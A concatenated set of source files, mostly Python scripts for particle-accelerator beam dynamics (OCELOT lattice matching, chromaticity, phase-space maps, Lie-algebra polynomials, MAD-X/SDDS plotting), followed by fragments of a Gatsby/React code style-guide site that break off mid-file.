tws=twiss(lat, Twiss()) c1, c2 = natural_chromaticity(lat, tws[0]) print 'natural chrom:', c1, c2 cx1, cx2 = sextupole_chromaticity(lat, tws[0]) print 'chrom/sext:', cx1, cx2 compensate_chromaticity(lat) c1, c2 = natural_chromaticity(lat, tws[0]) print 'natural chrom:', c1, c2 cx1, cx2 = sextupole_chromaticity(lat, tws[0]) print 'chrom/sext:', cx1, cx2 print 'chrom:', chromaticity(lat, tws[0]) print sf.ms, sd.ms plot_opt_func(lat, tws) plt.show() <file_sep>#!/bin/bash # sdds plotting stuff sddsprintout align1.twi -parameters=* #sddsprintout fodo.twi -columns='(ElementName,ElementType,s,beta?)' #sddsplot -graphic=line,vary apsu.twi -columnNames=s,beta? -yScalesGroup=id=beta -columnNames=s,etax -yScalesGroup=id=eta -scales=0,10.54,0,00 sddsplot align1.twi "-title=toy fodo ring" -legend -date \ -col=s,betax -graphic=line,type=1 \ -col=s,betay -graphic=line,type=2 \ -col=s,etax -yScalesGroup=id=eta -graphic=line,type=3 \ -col=s,Profile -graphic=line,type=0 fodo.mag sddsplot align2.traj -col=s,x -split=page -graph=sym sddsplot align2.traj -col=s,y -split=page -graph=sym #sddsplot -column=x,y align2.los -split=page -graph=sym -samescales #sddsplot -column=s,x align2.los -split=page -graph=sym -samescales sddsplot -column=s,x align3.clo -split=page -graph=sym,type=2 -samescales sddsplot -column=s,y align3.clo -split=page -graph=sym,type=2 -samescales sddsplot align3.twi "-title=toy fodo ring" -legend -date \ -col=s,betax -graphic=line,type=1 \ -col=s,betay -graphic=line,type=2 -split=page -samescales \ <file_sep>''' interleavoing 2 snandard maps, movie ''' #from pylab import * ''' test mapping ''' from numpy import sin def sm2(x0, y0, nt, a = 2.6, b=2.6, phi=0.0): x = x0 y = y0 xs = [x0,] ys = [y0,] cs = np.cos(phi) ss = np.sin(phi) for i in range(nt): y = mod(y + a * sin(x), 2*pi) x = mod(x + y, 2*pi) x2 = x * cs + y * ss y2 = -x * ss + y * cs y2 = mod(y2 + b * sin(x2), 2*pi) x2 = mod(x2 + y2, 2*pi) x = x2 y = y2 xs.append(x) ys.append(y) #return np.array(xs), mod(np.array(ys) + pi, 2*pi) return np.array(xs), mod(np.array(ys), 2*pi) def get_phase_space(phi=0.0): ai = 1.11 bi = 1.91 xa = None ya = None for x0 in np.linspace(0, 2*pi, 100): x, y = sm2(x0,0.0, 1000, a=ai, b=bi, phi=phi) if xa is None: xa = x ya = (y + pi) % (2 * pi) else: xa = np.concatenate([xa, x]) ya = np.concatenate([ya, (y + pi) % (2 * pi)] ) return xa, ya import numpy as np import sys from numpy import pi, sin, mod import matplotlib matplotlib.use("Agg") import matplotlib.pyplot as plt import matplotlib.animation as manimation FFMpegWriter = manimation.writers['ffmpeg'] metadata = dict(title='Movie Test', artist='Matplotlib', comment='Movie support!') writer = FFMpegWriter(fps=15, metadata=metadata) fig = plt.figure() #l, = plt.plot([], [], 'k-o') x0, y0 = get_phase_space(phi=0.0) ax = fig.add_subplot(111) ax.set_title(r"$\phi$={}".format(0.0)) l, = ax.plot(x0, y0, '.', color='black',alpha=0.1) plt.xlim(pi-2., pi+2.) plt.ylim(pi-2., pi+2.) #x0, y0 = 0, 0 with writer.saving(fig, "c:/workspace/misc/mbo/writer_test_2.mp4", 300): nframes = 2000 for i in range(nframes): phi = 0.00005*i ax.set_title(r"$\phi$={}".format(phi)) print "{}% ready".format((100*i)/ nframes) x0, y0 = get_phase_space(phi=phi) l.set_data(x0, y0) writer.grab_frame() <file_sep>from pylab import * class Poly: def __init__(self, symbols = ()): self.f = {} self.symbols = symbols def simplify(self): pass def __mul__(self, p): p2 = Poly(self.symbols) klmn1 = sorted(self.f.keys()) klmn2 = sorted(p.f.keys()) for i1 in klmn1: for i2 in klmn2: i3 = array(i1) + array(i2) #print 'monomial', i1,i2, i3 if tuple(i3) in p2.f.keys(): p2.f[tuple(i3)] += self.f[i1]*p.f[i2] else: p2.f[tuple(i3)] = self.f[i1]*p.f[i2] return p2 def D(self,sym): return diff(self,sym) def __add__(self,p): p2 = Poly(self.symbols) klmn1 = sorted(self.f.keys()) klmn2 = sorted(p.f.keys()) for i1 in klmn1: if i1 not in klmn2: p2.f[i1] = self.f[i1] else: p2.f[i1] = self.f[i1] + p.f[i1] for i2 in klmn2: if i2 not in klmn1: p2.f[i2] = p.f[i2] return p2 def __sub__(self,p): return self.__add__(-p) def __neg__(self): p2 = Poly(self.symbols) for i in sorted(self.f.keys()): p2.f[i] = -self.f[i] return p2 def __str__(self): print_tol = 1.e-10 s = '' klmn = sorted(self.f.keys()) for i in klmn: if abs(self.f[i]) < print_tol: continue if self.f[i] >= 0 and i != klmn[0]: s += ' + ' s += str(self.f[i]) for j in range(len(self.symbols)): if i[j] > 1 : s = s + self.symbols[j] + '^' + str(i[j]) if i[j] == 1 : s = s + self.symbols[j] if len(s) < 1: s = '0.0' return s def diff(p,sym): p1 = Poly() p1.symbols = p.symbols idx = p.symbols.index(sym) #print 'sym idx', idx klmn = sorted(p.f.keys()) for i in klmn: #print 'checking ', i klmn_d = () for j in range(len(i)): #print j if j == idx: #print 'klmn', klmn_d, klmn_d[idx] klmn_d += (i[idx] - 1,) else: klmn_d += (i[j],) #print 'diff order', klmn_d if -1 not in klmn_d: p1.f[klmn_d] = p.f[i] * i[idx] return p1 def grad(p): return [diff(p,s) for s in p.symbols] g = [] for s in p.symbols: g.append(diff(p,s)) def PoissonBracket(f,g, canon): p2 = Poly(f.symbols) for iv in canon: p2 = p2 + f.D(iv[0])*g.D(iv[1]) - f.D(iv[1])*g.D(iv[0]) return p2 def PB(f,g,canon): return PoissonBracket(f,g, canon) ''' tests ''' def test_diff(): p = Poly() p.symbols = ('x','y') p.f[(0,0)] = 1.0 p.f[(1,0)] = 1.1 p.f[(0,1)] = -4.5 p.f[(3,2)] = 1.5 p.f[(2,0)] = 1125 p.f[(1,4)] = -1125 p.f[(7,8)] = -0.1 print 'polynomial:', p p1 = diff(p,'x') print 'diff:', p1 print 'diff:', diff(diff(p1,'x'),'x') print p1.D('x') d = grad(p1) print 'grad', d[0], ';', d[1] #print p1.f def test_mul(): p1 = Poly(('x','y')) p1.f[(1,0)] = 1.0 p1.f[(0,1)] = -1.0 print p1 p2 = Poly(('x','y')) p2.f[(1,0)] = 1.0 p2.f[(0,1)] = 1.0 p2.f[(1,1)] = 2.0 print p2 p3 = p1 * p2 print 'p1*p2:', p3 def test_add(): p1 = Poly(('x','y')) p1.f[(0,1)] = -2 p2 = Poly(('x','y')) p2.f[(1,0)] = -3 print p1 print p2 print 'p1+p2=', p1+p2 p1 = Poly(('x','px','y','py')) p1.f[(1,0,0,0)] = 1 p2 = Poly(('x','px','y','py')) p2.f[(1,0,0,0)] = -2 p2.f[(1,2,0,1)] = 43 print p1 print p2 print p1,'+++', p2, '=',p1+p2 print p1,'---', p2, '=',p1-p2 def test_PB(): f = Poly(('x','px')) f.f[(2,0)] = 0.5 f.f[(0,2)] = 0.5 g = Poly(('x','px')) g.f[(2,0)] = 0.5 g.f[(0,2)] = 0.5 print f, ';', g print PB(f,g, (('x','px'),)) f = Poly(('x','px')) f.f[(2,0)] = 0.5 f.f[(0,2)] = 0.5 g = Poly(('x','px')) g.f[(0,1)] = 1.0 print f, ';', g print PB(g,f, (('x','px'),)) <file_sep>''' map plots ''' from pylab import * global mux, muy mux = 0.01 + 1./2. * pi *2. muy = 0.01 + 1./2. * pi * 2. # sextupole with a twist def half_map_sext_t(x,xp, y, yp, ms=0.1): x2 = cos(mux) * y + sin(mux) * yp y2 = -1* ( -cos(muy) * x - sin(muy) * xp ) xp2 = -sin(mux) * y + cos(mux) * yp yp2 = -1 * (sin(muy) * x - cos(muy) * xp ) xp2 = xp2 - ms*(x2**2 - y2**2) yp2 = yp2 + 2*ms * x2*y2 return x2, xp2, y2, yp2 # sextupole w/o twist def half_map_sext(x,xp, y, yp, ms=0.1): x2 = cos(mux) * x + sin(mux) * xp y2 = cos(muy) * y + sin(muy) * yp xp2 = -sin(mux) * x + cos(mux) * xp yp2 = -sin(muy) * y + cos(muy) * yp xp2 = xp2 - ms*(x2**2 - y2**2) yp2 = yp2 + 2*ms * x2*y2 return x2, xp2, y2, yp2 # octupole w/o twist def half_map_oct(x,xp, y, yp, mo=0.1): x2 = cos(mux) * x + sin(mux) * xp y2 = cos(muy) * y + sin(muy) * yp xp2 = -sin(mux) * x + cos(mux) * xp yp2 = -sin(muy) * y + cos(muy) * yp xp2 = xp2 + mo*(x2**3 / 3. - x2*y2**2) yp2 = yp2 + mo*(y2**3 / 3. - x2**2 * y2) return x2, xp2, y2, yp2 # octupole with twist def half_map_oct_t(x,xp, y, yp, mo=0.1): x2 = cos(mux) * y + sin(mux) * yp y2 = -1 * (-cos(muy) * x - sin(muy) * xp) xp2 = -sin(mux) * y + cos(mux) * yp yp2 = -1 * (sin(muy) * x - cos(muy) * xp ) xp2 = xp2 + mo*(x2**3 / 3. - x2*y2**2) yp2 = yp2 + mo*(y2**3 / 3. - x2**2 * y2) return x2, xp2, y2, yp2 def plot_phase_space(x0, xp0, ax1, ax2): ar_x = [] ar_xp = [] ar_y = [] ar_yp = [] y0 = 0.0 yp0 = 0.0 x = x0 y=y0 xp=xp0 yp=yp0 for i in range(10000): x, xp, y, yp = half_map_sext(x,xp,y,yp, 0.5) x, xp, y, yp = half_map_sext(x,xp,y,yp, 0.5) if abs(x) > 100 or abs(xp) > 100 or abs(y) > 100 or abs(yp) > 100 : break ar_x.append(x) ar_xp.append(xp) ar_y.append(y) ar_yp.append(yp) ax1.plot(ar_x, ar_xp, 'C0.', alpha=0.3) ax1.set_xlabel(r'$X$') ax1.set_ylabel(r'$X\prime$') ax2.plot(ar_y, ar_yp, 'C0.', alpha=0.3) ax2.set_xlabel(r'$Y$') ax2.set_ylabel(r'$Y\prime$') ax1 = plt.figure().add_subplot(111) ax2 = plt.figure().add_subplot(111) for x0 in np.linspace(-18.1, -13.00, 100): for xp0 in np.linspace(-80.0, -80.0, 1): plot_phase_space(x0, xp0, ax1, ax2) plt.show() sys.exit(0) def plot_freq_diagram(): global mux, muy da = [] for mx in np.linspace(0.001, pi, 50): for my in np.linspace(0.001, pi, 50): mux = mx muy = my x = 0.3 y = 0.2 xp=0. yp=0. lost = False print('checking {} {}'.format(mux, muy) ) for i in range(10000): x, xp, y, yp = half_map_sext_t(x,xp,y,yp, 0.5) x, xp, y, yp = half_map_sext_t(x,xp,y,yp, 0.5) if abs(x) > 100 or abs(xp) > 100 or abs(y) > 100 or abs(yp) > 100 : lost = True print( '{} {} lost'.format(mux,muy)) break if not lost: print( '{} {} not slost'.format(mux,muy)) da.append( (2*mx/(2.*pi), 2*my/(2.*pi) ) ) print('da {}'.format(da)) ax1 = plt.figure().add_subplot(111) ax1.plot([z[0] for z in da], [z[1] for z in da], '.') ax1.set_xlabel(r'$2 \mu_x$') ax1.set_ylabel(r'$2 \mu_y$') plt.show() #plot_freq_diagram() #plt.show() #sys.exit(0) da = [] for x0 in np.linspace(-1.0, 1.0, 100): for y0 in np.linspace(-1.0, 1.0, 100): x=x0 y=y0 xp=0.0 yp=0.0 lost = False for i in range(10000): x, xp, y, yp = half_map_sext(x,xp,y,yp, 0.5) x, xp, y, yp = half_map_sext(x,xp,y,yp, 0.5) if abs(x) > 100 or abs(xp) > 100 or abs(y) > 100 or abs(yp) > 100 : lost = True print('{} lost'.format(x0) ) break if not lost: da.append((x0,y0)) ax = plt.figure().add_subplot(111) ax.plot([z[0] for z in da], [z[1] for z in da], 'C0.') ax.set_xlabel(r'$X$') ax.set_ylabel(r'$Y$') plt.show() <file_sep> from ocelot.gui.accelerator import * import ocelot from ocelot import * from pylab import * from ocelot.cpbd.chromaticity import * from copy import deepcopy from scipy.optimize import * d0 = Drift (l = 7.0, eid = "D0") d1 = Drift (l = 0.5, eid = "D1") d2 = Drift (l = 0.5, eid = "D2") q1 = Quadrupole (l = 0.25, k1 = 1.2, eid = "Q1") q2 = Quadrupole (l = 0.25/2., k1 = -2.2, eid = "Q2") q3 = Quadrupole (l = 0.25, k1 = 1.1, eid = "Q3") d0m = Drift (l = 4.2, eid = "D0") d1m = Drift (l = 0.5, eid = "D1") d2m = Drift (l = 0.5, eid = "D2") q1m = Quadrupole (l = 0.25, k1 = 1.6, eid = "Q1") q2m = Quadrupole (l = 0.25, k1 = -2.9, eid = "Q2") q3m = Quadrupole (l = 0.25, k1 = 1.6, eid = "Q3") fp3 = Marker() tpl = (d0,q1, d1, q2, q2, d2, q3, d0) tplm = (d0m,q1m, d1m, q2m, d2m, q3m, d0m) beam = Beam() beam.E = 6.0 beam.beta_x = 5.0 beam.beta_y = 2.0 lat = MagneticLattice( tpl ) tws=twiss(lat, Twiss()) fp1 = Marker() fp2 = Marker() lat2 = MagneticLattice( (tplm, fp1, tpl, (d0,q1, d1, q2, fp3, q2, d2, q3, d0), tpl, tplm[::-1], fp2) ) constr = {fp2:{'beta_x':beam.beta_x, 'beta_y':beam.beta_y,'alpha_x':0.0, 'alpha_y':0.0,'mux':2.*pi, 'muy':2.*pi}} constr[fp1] = {'alpha_x':0.0, 'alpha_y':0.0} constr[fp3] = {'alpha_x':0.0, 'alpha_y':0.0} vars = [q1m,q2m,q3m, q1, q2, q3] match(lat2, constr, vars, Twiss(beam), max_iter=10000) print(q1m.k1, q2m.k1, q3m.k1, q1.k1, q2.k1, q3.k1) tws=twiss(lat2, Twiss(beam), nPoints=1000) #print tws[-1].mux /(2.*pi) #print tws[-1].muy /(2.*pi) #print tws[-1].alpha_x #print tws[-1].alpha_y #print tws[-1].beta_x #print tws[-1].beta_y dqx, dqy = natural_chromaticity(lat2, tws[0]) #print('chrom:',dqx, dqy) plot_opt_func(lat2, tws, legend = False) plt.show() <file_sep> from ocelot.gui.accelerator import * import ocelot from ocelot import * from pylab import * from ocelot.cpbd.chromaticity import * from copy import deepcopy from scipy.optimize import * d0 = Drift (l = 4.5, eid = "D0") qf = Quadrupole (l = 0.25, k1 = 1.5, eid = "QF") qd = Quadrupole (l = 0.25, k1 = -1.5, eid = "QD") fodo = (d0,qf, d0, qd) beam = Beam() beam.E = 6.0 beam.beta_x = 9.03267210229 beam.beta_y = 0.573294833302 beam.Dx = 2.0 beam.Dxp = 10.0 beam.beta_x = 0 beam.beta_y = 0 beam.Dx = 2.0 beam.Dxp = 10.0 lat = MagneticLattice( (fodo) ) tw0 = Twiss(beam) ks = np.linspace(0,7,100) k_a = [] mux_a = [] muy_a = [] dqx_a = [] dqy_a = [] for k in ks: qf.k1 = k qd.k1 = -k lat.update_transfer_maps() tws=twiss(lat, Twiss(), nPoints = 1000) if tws is None: print('no solution') else: dqx, dqy = natural_chromaticity(lat, tws[0]) print(k, dqx, dqy, tws[-1].s, tws[-1].mux / (2.*pi), tws[-1].muy / (2.*pi)) k_a.append(k) mux_a.append(tws[-1].mux / (2.*pi) / tws[-1].s) muy_a.append(tws[-1].muy / (2.*pi) / tws[-1].s) dqx_a.append(dqx / tws[-1].s) dqy_a.append(dqy / tws[-1].s) plt.plot(k_a, mux_a) plt.plot(k_a, dqx_a) plt.grid(True) plt.show() #plot_opt_func(lat, tws, legend = False) #plt.show() <file_sep># need to rememberr from ocelot.gui.accelerator import * import ocelot from ocelot import * from pylab import * from copy import deepcopy from scipy.optimize import * d0 = Drift (l = 0.7, eid = "D0") qf = Quadrupole (l = 0.1, k1 = 8.45, eid = "QF") b1 = SBend(l = 1.0, angle = 0.006 , k1 = -2.04, eid = "B1") m1 = Marker(eid="start") m2 = Marker(eid="end") tme = (qf, d0, b1, d0, qf) beam = Beam() beam.E = 6.0 beam.beta_x = 9.03267210229 beam.beta_y = 0.573294833302 beam.Dx = 2.0 beam.Dxp = 10.0 beam.beta_x = 0 beam.beta_y = 0 beam.Dx = 2.0 beam.Dxp = 10.0 lat = MagneticLattice( (40*tme) ) tw0 = Twiss(beam) #tws=twiss(lat, tw0, nPoints = 1000) tws=twiss(lat, Twiss(), nPoints = 1000) plot_opt_func(lat, tws, legend = False) eb = EbeamParams(lat, beam, nsuperperiod=1) print(eb) #print("Je:", eb.I4) #print(eb.integrals_id()) #print (eb.I5, eb.I2,eb.I4) #print ( (6000.0 / 0.511)**2 * 0.383 * eb.I5 / (eb.I2 - eb.I4) ) plt.show() <file_sep>from pylab import * from scipy.optimize import * from scipy import optimize # todo: dig out code from old workspace (2015) <file_sep># need to rememberr from ocelot.gui.accelerator import * import ocelot from ocelot import * from pylab import * from copy import deepcopy from scipy.optimize import * D0 = Drift (l = 0., eid = "D0") D1 = Drift (l = 1.49, eid = "D1") D2 = Drift (l = 0.1035, eid = "D2") D3 = Drift (l = 0.307, eid = "D3") D4 = Drift (l = 0.33, eid = "D4") D5 = Drift (l = 0.3515, eid = "D5") D6 = Drift (l = 0.3145, eid = "D6") D7 = Drift (l = 0.289, eid = "D7") D8 = Drift (l = 0.399, eid = "D8") D9 = Drift (l = 3.009/2., eid = "D9") SF = Sextupole(l = 0, k2 = 1.7673786254063251, eid = "SF") SD = Sextupole(l = 0, k2 = -3.6169817233025707, eid = "SD") Q1 = Quadrupole (l = 0.293, k1 = 2.62, eid = "Q1") Q2 = Quadrupole (l = 0.293, k1 = -3.1, eid = "Q2") Q3 = Quadrupole (l = 0.327, k1 = 2.8, eid = "Q3") Q4 = Quadrupole (l = 0.291, k1 = -3.7, eid = "Q4") Q5 = Quadrupole (l = 0.391, k1 = 4.0782, eid = "Q5") Q6 = Quadrupole (l = 0.291, k1 = -3.534859, eid = "D6") B1 = SBend(l = 0.23, angle = 0.23/19.626248, eid = "B1") B2 = SBend(l = 1.227, angle = 0.1227/4.906312, eid = "B2") #und = Undulator (nperiods=200,lperiod=0.07,Kx = 0.49, id = "und") #und.field_map.units = "mm" #und.ax = 0.05 #M1 = Monitor(id = "m1") #H1 = Hcor(l = 0.0, angle = 0.00, id = "H1") #V2 = Vcor(l = 0.0, angle = 0.00, id = "V2") superperiod = ( D9,Q6,D8,Q5,D7,Q4,D6,B1,B2,D5,Q3,D5,B2,B1,D4,SD,D2,Q2,D3,Q1,D2,SF,D1,D1,SF, D2,Q1,D3, Q2,D2,SD,D4,B1,B2,D5,Q3,D5,B2,B1,D6,Q4,D7,Q5,D8,Q6,D9) m1 = Monitor(eid="start") m2 = Monitor(eid="end") dba = (m1,superperiod,m2) beam = Beam() beam.E = 6.0 beam.sigma_E = 0.002 beam.beta_x = 9.03267210229 beam.beta_y = 0.573294833302 lat = MagneticLattice(dba) tw0 = Twiss(beam) tws=twiss(lat, tw0, nPoints = 1000) plot_opt_func(lat, tws, legend = False) eb = EbeamParams(lat, beam, nsuperperiod=1) print(eb) #print(eb.integrals_id()) #print (eb.I5, eb.I2,eb.I4) #print ( (6000.0 / 0.511)**2 * 0.383 * eb.I5 / (eb.I2 - eb.I4) ) plt.show() <file_sep>''' second order chrmaticity ''' from pylab import * import matplotlib font = {'size' : 14} matplotlib.rc('font', **font) fig = plt.figure() ax = fig.add_subplot(111) nu = np.linspace(0.01, 0.33, 100) y = 6.*(cos(pi*nu) + cos(0.033*pi + pi*(1.-nu)))/sin(pi*nu) + 2.*(cos(3.*pi*nu) + cos(0.1*pi + 3.*pi*(1.-nu)))/sin(3.*pi*nu) ax.plot(nu, y ,'r-', lw=3) ax.set_ylabel(r'$\xi_x^{(2)}$') ax.set_xlabel(r'$\nu_x$') plt.show() <file_sep># Lie map stuff from scipy.misc import factorial as fact # (x,px) polynomial class Poly: def __init__(self,n=2): self.n = n self.tol = 1.e-20 # anything below this rounded to zero self.coef = {} def __add__(self, B): C = Poly() b_marked = {} for i in self.coef.keys(): if i in B.coef.keys(): C[i] = self[i] + B[i] b_marked[i] = True else: C[i] = self[i] for i in B.coef.keys(): if i not in b_marked.keys(): C[i] = B[i] return C def __sub__(self, B): C = Poly() b_marked = {} for i in self.coef.keys(): if i in B.coef.keys(): C[i] = self[i] - B[i] b_marked[i] = True else: C[i] = self[i] for i in B.coef.keys(): if i not in b_marked.keys(): C[i] = -B[i] return C def __mul__(self, B): C = Poly() #print('mult') for i in self.coef.keys(): i1, i2 = i v1 = self.coef[i] #print(i1, i2, '->', v1) for j in B.coef.keys(): j1, j2 = j v2 = B.coef[j] k1, k2 = i1+j1, i2+j2 v = v1*v2 if (k1,k2) in C.coef.keys(): C[k1,k2] += v1*v2 else: C[k1,k2] = v1*v2 return C # left mul by scalar def __rmul__(self,b): C = Poly() for i in self.coef.keys(): C[i] = self[i] * b return C def __str__(self): st = "P=" #return str(self.coef) for i in self.coef.keys(): #if abs(self.coef[i]) < self.tol: continue if i[0] == 0 and i[1] == 0: st += (str(self.coef[i]) + ' ') if i[0] != 0 and i[1] == 0: st += (str(self.coef[i]) + 'x^' + str(i[0]) + ' ') if i[0] == 0 and i[1] != 0: st += (str(self.coef[i]) + 'px^'+str(i[1]) + ' ') if i[0] != 0 and i[1] != 0: st += (str(self.coef[i]) + 'x^' + str(i[0]) + '*px^'+str(i[1]) + ' ') return st def __getitem__(self,key): return self.coef[key] def __setitem__(self,key,val): self.coef[key] = val def __call__(self, val): v = 0.0 for i in self.coef.keys(): v += self.coef[i] *val[0]**(i[0]) * val[1]**(i[1]) return v #polynomial derivative (d_dx, d_dpx) def d(A): C1=Poly() C2=Poly() for i in A.coef.keys(): i1,i2 = i if i1>0: C1[i1-1,i2] = i1*A[i1,i2] if i2>0: C2[i1,i2-1] = i2*A[i1,i2] return C1, C2 # Poisson bracket def pb(A,B): C1,C2 = d(A) D1,D2 = d(B) E = C1*D2 - C2*D1 return E # computes the polynomial h in the representation exp(:h:) = exp(:f:)exp(:g:) #5th order explicit calculation def bch(f,g): h = Poly() h = f + g + 0.5*pb(f,g) h = h + 1./12. * pb(f,pb(f,g)) + 1./12. * pb(g,pb(g,f)) + 1./24. * pb(f,pb(g,pb(g,f))) h = h - 1./720. * pb(g, pb(g, pb(g,pb(g,f)))) -1./720. * pb(f, pb(f, pb(f,pb(f,g)))) h = h + 1./360. * pb(g, pb(f, pb(f,pb(f,g)))) +1./360. * pb(f, pb(g, pb(g,pb(g,f)))) h = h + 1./120. * pb(f, pb(f, pb(g,pb(g,f)))) +1./120. * pb(g, pb(g, pb(f,pb(f,g)))) return h # evaluates exponential exp(:f:)g def lexp(f,g, n=1): F = g u = g #print('debug exp:',u) for i in range(1,n): F = pb(f,F) u = u + 1./fact(i) * F #print('debug exp:',u) return u def test_mul(): A = Poly() A[2,0] = 1.0 A[0,2] = -1.1 B = Poly() B[2,0] = 1.1 B[0,2] = 1.3 B[13,18] = 0.5 C = A*B D = -0.5 * B print(A) print(B) print(C) print(D) def test_d(): A = Poly() A[2,0] = 2.0 A[11,12] = 2.5 A[0,2] = -1.1 print(A) C1,C2 = d(A) print('d/dx',C1) print('d/dpx',C2) def test_add(): A = Poly() A[2,0] = 0.5 A[0,2] = 0.5 A[1,1] = -7.0 print(A) B = Poly() B[2,0] = 0.7 B[0,2] = 0.9 B[0,3] = 18.0 print(B) E = A + B print('A+B:',E) E = A - B print('A-B:',E) def test_pb(): A = Poly() A[2,0] = 1.0 A[0,2] = 0.0 print(A) B = Poly() B[2,0] = 1.0 B[0,2] = 0.0 print(B) E = pb(A,B) print('[A,B]',E) def test_bch(): A = Poly() A[2,0] = 1.0 A[0,2] = 1.0 A[1,1] = 2.0 print(A) B = Poly() B[2,0] = 1.0 B[0,2] = 1.0 print(B) E = bch(A,B) print('exp(:A:)exp(:B:)=exp(:',E,':)') def test_bch_2(): A = Poly() A[2,0] = 1.0 A[0,2] = 1.0 print(A) B = Poly() B[3,0] = 15.0 print(B) E = bch(A,B) print('exp(:A:)exp(:B:)=exp(:',E,':)') def test_lexp(): A = Poly() A[2,0] = -1.0 A[0,2] = -1.0 B = Poly() B[1,0] = 1.0 C = Poly() C[0,1] = 1.0 D = Poly() D[0,2] = 1.0 D[2,0] = 1.0 print('A=',A) print('B=',B) print('C=',C) print('D=',D) E1 = lexp(A,B,n=15) E2 = lexp(A,C,n=15) E3 = lexp(A,D) print('exp(:A:)B=',E1) print('exp(:A:)C=',E2) print('det:',E1[1,0]*E2[0,1] - E1[0,1]*E2[1,0]) print('exp(:A:)D=',E3) def test_call(): A = Poly() A[2,0] = 2.0 A[0,2] = 2.0 A[1,1] = 1.0 print ( A((2,-2)) ) #test_call() #test_lexp() <file_sep>from pylab import * import numpy.fft as fft fname = 'c:/workspace/p4-t/madx/matching/normal_results.tfs' #fname = 'c:/workspace/p4-m/normal_results.tfs' import ocelot from ocelot.adaptors.madx import TFS tfs = TFS(fname) print tfs.column_names # specific for DQ dq1 = np.array([0.0,0,0,0,0]) dq2 = np.array([0.0,0,0,0,0]) for i in range(len(tfs.column_values['NAME'])): print tfs.column_values['NAME'][i] if tfs.column_values['NAME'][i] == '"DQ1"': o = int(tfs.column_values['ORDER1'][i]) - 1 value = float(tfs.column_values['VALUE'][i]) dq1[o] = value if tfs.column_values['NAME'][i] == '"DQ2"': o = int(tfs.column_values['ORDER1'][i]) - 1 value = float(tfs.column_values['VALUE'][i]) dq2[o] = value print dq1 print dq2 dp = np.linspace(-5.e-2, 5.e-2, 100) print dp**2 q1 = dq1[0]*dp + dq1[1]*dp**2 + dq1[2]*dp**3 + dq1[3]*dp**4 + dq1[4]*dp**5 q2 = dq2[0]*dp + dq2[1]*dp**2 + dq2[2]*dp**3 + dq2[3]*dp**4 + dq2[4]*dp**5 ax1 = plt.figure().add_subplot(111) p1, = ax1.plot(dp,q1,'b-', lw=2) p2, = ax1.plot(dp,q2,'r-', lw=2) #p2, = ax1.plot(tfs.column_values['Y'],'.--') ax1.legend([p1,p2],['Q1','Q2']) ax1.grid(True) ax1 = plt.figure().add_subplot(111) p1, = ax1.plot(q1,q2,'b-', lw=2) ax1.grid(True) #ax1.set_title(fname) plt.show() <file_sep>#!/bin/bash # sdds plotting stuff sddsprintout apsu.twi -parameters=ex0 sddsprintout apsu.twi -columns='(s,beta?)' #sddsplot -graphic=line,vary apsu.twi -columnNames=s,beta? -yScalesGroup=id=beta -columnNames=s,etax -yScalesGroup=id=eta -scales=0,10.54,0,00 sddsplot -graphic=line,vary apsu.twi -columnNames=s,beta? -yScalesGroup=id=beta -columnNames=s,etax -yScalesGroup=id=eta <file_sep># Normal form analysis # from Courant-Snyder parametrization to normal modes <file_sep>from pylab import * from scipy.optimize import * from scipy import optimize #orbit feedback simulation -- simplified #2x2 orm R = np.array([[1,2], [1,2]]) print(R) <file_sep>from pylab import * import numpy.fft as fft fname = 'c:/workspace/p4-t/madx/matching/ptc_acell.tfs' import ocelot from ocelot.adaptors.madx import TFS tfs = TFS(fname) print(tfs.column_names) ''' ax1 = plt.figure().add_subplot(111) p1, = ax1.plot(tfs.column_values['X'],'.--') p2, = ax1.plot(tfs.column_values['Y'],'.--') ax1.legend([p1,p2],['X','Y']) ax1.grid(True) ax1.set_title(fname) ''' ax2 = plt.figure().add_subplot(111) p1, = ax2.plot(tfs.column_values['S'],tfs.column_values['BETA11'],'b-', lw=2) p2, = ax2.plot(tfs.column_values['S'],tfs.column_values['BETA22'],'r-', lw=2) ax2m = ax2.twinx() p3, = ax2m.plot(tfs.column_values['S'],np.array(tfs.column_values['DISP1'])*1000.0,'g-', lw=2) ax2.grid(True) ax2m.grid(True) ax2.legend([p1,p2,p3],['BETA11','BETA22','DISP1']) ax2.set_title(fname) ax3 = plt.figure().add_subplot(111) p1, = ax3.plot(tfs.column_values['S'],tfs.column_values['BETA11P'],'b-', lw=2) p2, = ax3.plot(tfs.column_values['S'],tfs.column_values['BETA22P'],'r-', lw=2) ax3.grid(True) ax3.legend([p1,p2],['BETA11P','BETA22P']) ax3.set_title(fname) plt.show()
7fb71884a1b6095cea4824c97f3dc0db0e370566
[ "Markdown", "Python", "Text", "Shell" ]
47
Python
iagapov/old_bd
a51dc05b17ccd26a1bdcb4b03c8ef86595e61824
12f56d0d335e402429fdcfb5f9a0d4427d0d5f8b
refs/heads/master
<repo_name>rajjejosefsson/code-styleguide<file_sep>/SUMMARY.md # Table of contents * [README](README.md) * docs * [react](docs/react.md) * [javascript](docs/javascript.md) * [airbnb](docs/airbnb.md) * [typescript](docs/typescript.md) * [demo](docs/demo.md) <file_sep>/src/theme/index.js import hex2rgba from 'hex2rgba'; import { css } from 'glamor'; import { gridStyles } from './grid-styles'; import { colors } from './colors'; import { markdownStyles } from './markdown-styles'; import { media } from './media'; import { fonts } from './fonts'; import { elements } from './elements'; import { components } from './components'; const sharedStyles = { markdown: markdownStyles, link: elements.link, icon: elements.icon }; export { colors, fonts, media, sharedStyles, components, gridStyles }; <file_sep>/src/pages/index.js import React from 'react'; import Typography from 'smooth-ui/Typography'; import { sharedStyles } from '../theme'; import Ionicon from 'react-ionicons'; import Box from 'smooth-ui/Box'; const IndexPage = () => ( <Box alignItems="center" style={{ zIndex: '-1', position: 'absolute' }} > <Ionicon beat={true} icon="logo-javascript" fontSize="160px" color="#f7df1f" /> <Typography variant="h1">Style Guide</Typography> </Box> ); export default IndexPage; <file_sep>/src/components/MarkdownContent/MarkdownContent.js import React from 'react'; import Box from 'smooth-ui/Box'; import Typography from 'smooth-ui/Typography'; import { sharedStyles, markdownStyles } from '../../theme'; export const MarkdownContent = ({ markdownRemark }) => ( <Box component="main" id="markdown--content" direction="column" className={sharedStyles.markdown} dangerouslySetInnerHTML={{ __html: markdownRemark.html }} /> ); <file_sep>/src/theme/components.js import { css } from 'glamor'; import { colors } from './colors'; const docSearch = css({ background: 'transparent', outline: 0, backgroundColor: '#373940', borderRadius: '0.25rem', border: 0, width: '12rem', color: 'white', fontSize: '18px', fontWeight: '300', padding: '5px 5px 5px 29px', backgroundImage: 'url(/search.svg)', backgroundSize: '16px 16px', backgroundRepeat: 'no-repeat', 